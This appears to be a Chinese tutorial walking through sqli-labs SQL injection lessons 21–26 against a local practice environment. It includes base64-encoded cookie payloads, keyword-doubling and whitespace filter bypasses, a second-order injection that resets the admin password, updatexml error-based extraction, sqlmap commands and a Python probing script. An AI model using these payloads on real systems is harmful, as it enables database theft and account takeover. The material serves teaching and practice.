WEB常见漏洞之SQL注入(靶场篇—2)1

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—2)

0x01 高级注入 21-37

Lesson-21

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

640.png


目标SQL语句如下:

if cookie 不存在 $uname: 
    if 提交 $uname 和 $passwd
        $uname = $POST['uname'];
        $passwd = $POST['passswd'];
        $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
        $cookee = $row1['username'];
        # 返回内容
        if 返回SQL查询结果:
            setcookie('uname', base64_encode($row1['username']), timne()-3600)
        else:
            print_r(mysql_error());
else:
    if POST 数据中没有 $submit:
        $cookee = base64_decode($cookee);
        $sql = "select * from users WHERE usernmae=('$cookee') LIMIT 0,1";
        if 无查询结果:
            print_r(mysql_error());
        else:
            输出查询信息
    else:
        setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson20的利用方式相同,只不过它修改拼接方式,由单引号改为单括号单引号同时对cookie进行base64编码

登录成功后界面如下:

使用联合查询判断字段数


Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw== //返回正常界面



640.png

Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw== //返回错误界面

640.png

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw==



640.png

查询基础信息

Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix1c2VyKCkj
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

640.png


查询表名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

查询列名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnI


640.png


查询关键信息


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj

也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u "http://172.16.117.135/sqli/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


Lesson-22

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

if cookie 不存在 $uname: 
    if 提交 $uname 和 $passwd
        $uname = $POST['uname'];
        $passwd = $POST['passswd'];
        $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
        $cookee = $row1['username'];
        # 返回内容
        if 返回SQL查询结果:
            setcookie('uname', base64_encode($row1['username']), timne()-3600)
        else:
            print_r(mysql_error());
else:
    if POST 数据中没有 $submit:
        $cookee = base64_decode($cookee);
        $cookee = '"'.$cookee.'"'
        $sql = "select * from users WHERE usernmae=$cookee LIMIT 0,1";
        if 无查询结果:
            print_r(mysql_error());
        else:
            输出查询信息
    else:
        setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson21的利用方式相同,只不过它修改了拼接方式,由单括号单引号改为双引号

登录成功后界面如下:

使用联合查询判断字段数


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDQj //返回正常界面


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDMj //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDM

查询基础信息

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHZlcnNpb24oKSM=
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

640.png

查询表名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj

查询列名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycyc

查询关键信息


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=


也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u "http://172.16.117.135/sqli/Less-22/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


Lesson-23

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'


目标SQL语句如下:

$id=$_GET['id']
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson1的利用方式相同,只不过过滤了注释符号,因此我们可利用闭合的方式进行注入

使用联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

判断字段数


id=1' order by 4 and '1'='1 //返回正常界面

在尝试使用 order by 判断字段数时发现无论字段数取多少目标都会返回正常,在数据库中执行相关语句可帮助我们发现存在的问题

SELECT * FROM users WHERE id='1' and '1'='1' order by 4 LIMIT 0,1;
SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1;

在 MySQL 中order bywhere是子语句,and是连接符。前者将id='1' and '1'='1'作为where的条件被率先执行并得到结果,而后执行order by 4,由于结果中不存在第四个字段报错。后者order bywhere的条件中,执行时order by被忽略,因此得到结果后也不会执行order by

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=-1' union select 1,2,3 and '1'='1



id=-1' union select 1,2,3,4 and '1'='1

查询基础信息

id=-1' union select 1,user(),3 and '1'='1
id=-1' union select 1,version(),3 and '1'='1
id=-1' union select 1,database(),3 and '1'='1

640.png

查询表名


id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and '1'='1

查询列名


id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and '1'='1

查询关键信息


id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 and '1'='1

Lesson-24

该题为经典的二次注入场景,在登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

使用正确的密码登录成功也没有发现异常信息,利用点可能在新的功能选项上

目标SQL语句如下:

//login_create.php
username = mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);
#查询用户是否已经存在
$sql = "select count(*) from users where username = '$username'";
if 两次密码输入一致:
    $sql = "insert into users (username,password) values(\"$username\", \"$pass\")";
else:
    提示密码输入不一致
//login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//pass_change.php
if 未登录:
    重定向至首页
if 检测提交表单:
    $username = $_SESSION["username"];
    $curr_pass = mysql_real_escape_string($_POST['current_password']);
    $pass = mysql_real_escape_string($_POST['password']);
    $re_pass = mysql_real_escape_string($_POST['re_password']);
    if 两次密码一致:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";
    else:
        提示密码输入不一致并重定向至失败界面

注意:该题与以往的注入都有点不同,它需要采用二次注入的方式来完成利用。那么何谓二次注入呢?简单来说就是黑客首先将没有触发行为的SQL语句插入至数据库当中,再调用插入的SQL语句触发攻击行为。

mysql_escape_string是 PHP 中的一个过滤函数,可在危险字符前自动添加带反斜杠字符。因此无论是在登录时还是注册时都无法进行注入,通过注册特殊的用户名后可在更新密码时完成二次注入,以下则是存在注入的语

UPDATE uers SET PASSWORD='$pass' where 
username='$username' and password='$curr_pass'

带入特殊的用户名admin'#后语句如下:

UPDATE users SET PASSWORD='$pass' where 
username='admin'# and password='$curr_pass'

首先我们构造一个特殊的用户名进行注册以便于修改 admin 用户的密码


admin'#

通过数据库语句查询用户名,发现注册用户完成后该表中的其他数据并未发生变化


SELECT * FROM users;

登录刚注册的admin'#用户,但我们并没有发现密码修改界面,这是怎么回事呢?这是因为解压将文件logged-in.php损坏了,需要重新解压直至该文件大小为2 KB才正常解析

再次注册并登录admin'#用户

点击reset修改密码完成

通过数据库语句再次查询用户名,发现 admin 用户密码已成功修改为 123


SELECT * FROM users;

使用 admin/123 进行登录,登录成功

Lesson-25

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);    
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson23的利用方式相同,只不过过滤条件由注释符换成了关键词and和or,因此我们可利用双写或符号替换的方式的方式进行注入

绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

使用联合查询判断注入点,尝试验证


id=1' anandd '1'='1 //返回正常界面


id=1' anandd '1'='2 //返回错误界面

判断字段数


id=1' oorrder by 3--+ //返回正常界面


id=1' oorrder by 4--+ //返回错误界面


由此可判断字段数为3,通过 union select 判断回显位置


id=-1' union select 1,2,3--+

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,database(),3--+

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables wheretable_schema = 'security'--+

table_schema = 'security'--+wan

查询列名

id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+

查询关键信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+


640.png

Lesson-25a

该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);    
# 返回内容
if true:
    输出查询内容;
else:
    输出存在错误;

注意:该题与Lesson25的利用方式相同,只不过拼接方式由单引号变成了纯数字,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

使用联合查询判断注入点,尝试验证


id=1 anandd 1=1 //返回正常界面


id=1 anandd 1=2 //返回错误界面

判断字段数


id=1 oorrder by 3--+ //返回正常界面


id=1 oorrder by 4--+ //返回错误界面

由此可判断字段数为3,通过 union select 判断回显位置


id=-1 union select 1,2,3--+

查询基础信息

id=-1 union select 1,version(),user()--+
id=-1 union select 1,database(),3--+


640.png

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security'--+

查询列名


id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+

查询关键信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+


640.png

Lesson-26

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson25的利用方式相同,只不过过滤条件添加了空格、注释符等,我们需要使用更多手段进行绕过

过滤andor绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

过滤注释符可使用闭合绕过:


注释符 => ' and '1'='1

过滤空格可替换特殊符号进行绕过:

%09 #Tab键
%0a #新建一行
%0c #新的一页
%0d #return功能
%0b #Tab键
%a0 #空格

如果不知道哪些符号可替换可使用如下脚本进行检测:

import requests
def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp
req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://172.16.117.135/sqli/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i


640.png


解析问题在判断字段数时我们发现无论怎么更换 payload,目标都会报错。后来发现这并不是我们的 payload 存在问题,而是因为 Windows 环境无法使用一些特殊字符来代替空格,因此存在两种解决方式,一是不使用空格用报错注入进行利用;二是将环境切换至 Linux 当中。


id=1'%0aoorrder%0aby%0a3%0aaandnd%0a'1'='1

使用 Docker 搭建 Linux 环境是一个不错的选择



docker pull acgpiano/sqli-labsdocker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

搭建完成后访问本地 8888 端口并初始化环境

使用报错注入判断注入点,尝试验证


id=1'%0aanandd%0a'1'='1 //返回正常界面


id=1'%0aanandd%0a'1'='2 //返回错误界面

不使用空格可进行报错注入,首先获取基础信息


id=-1'||updatexml(1,concat(0x7e,(database())),0)||'1'='1

查询表名



id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

查询列名


id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'1'='1

查询关键信息,寻找 id 为1的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=1)),0)||'1'='1

寻找 id 为2的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=2)),0)||'1'='1

使用联合查询判断字段数,在新环境下再次判断字段数会出现与Lesson23同样的情况


id=1'%a0oorrder%a0by%a04%a0aandnd%a0'1'='1

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1


id=0'%a0union%a0select%a01,2,3,4%a0aandnd%a0'1'='1

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息

id=0'%a0union%a0select%a01,user(),3%a0aandnd%a0'1'='1
id=0'%a0union%a0select%a01,version(),3%a0aandnd%a0'1'='1
id=0'%a0union%a0select%a01,database(),3%a0aandnd%a0'1'='1


640.png


查询表名


id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0'1'='1

查询列名


id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0'1'='1


查询关键信息


id=0'%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0'1'='1



相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
10天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
21 0
|
6天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
30 8
|
6天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
11 3
|
9天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
30 2
|
10天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
45 2
|
1月前
|
数据库 开发者 Python
web应用开发
【9月更文挑战第1天】web应用开发
40 1
|
22天前
|
数据可视化 图形学 UED
只需四步,轻松开发三维模型Web应用
为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
42 8
只需四步,轻松开发三维模型Web应用
|
12天前
|
安全 API 开发者
Web 开发新风尚!Python RESTful API 设计与实现,让你的接口更懂开发者心!
在当前的Web开发中,Python因能构建高效简洁的RESTful API而备受青睐,大大提升了开发效率和用户体验。本文将介绍RESTful API的基本原则及其在Python中的实现方法。以Flask为例,演示了如何通过不同的HTTP方法(如GET、POST、PUT、DELETE)来创建、读取、更新和删除用户信息。此示例还包括了基本的路由设置及操作,为开发者提供了清晰的API交互指南。
55 6
|
11天前
|
存储 JSON API
实战派教程!Python Web开发中RESTful API的设计哲学与实现技巧,一网打尽!
在数字化时代,Web API成为连接前后端及构建复杂应用的关键。RESTful API因简洁直观而广受欢迎。本文通过实战案例,介绍Python Web开发中的RESTful API设计哲学与技巧,包括使用Flask框架构建一个图书管理系统的API,涵盖资源定义、请求响应设计及实现示例。通过准确使用HTTP状态码、版本控制、错误处理及文档化等技巧,帮助你深入理解RESTful API的设计与实现。希望本文能助力你的API设计之旅。
36 3
下一篇
无影云桌面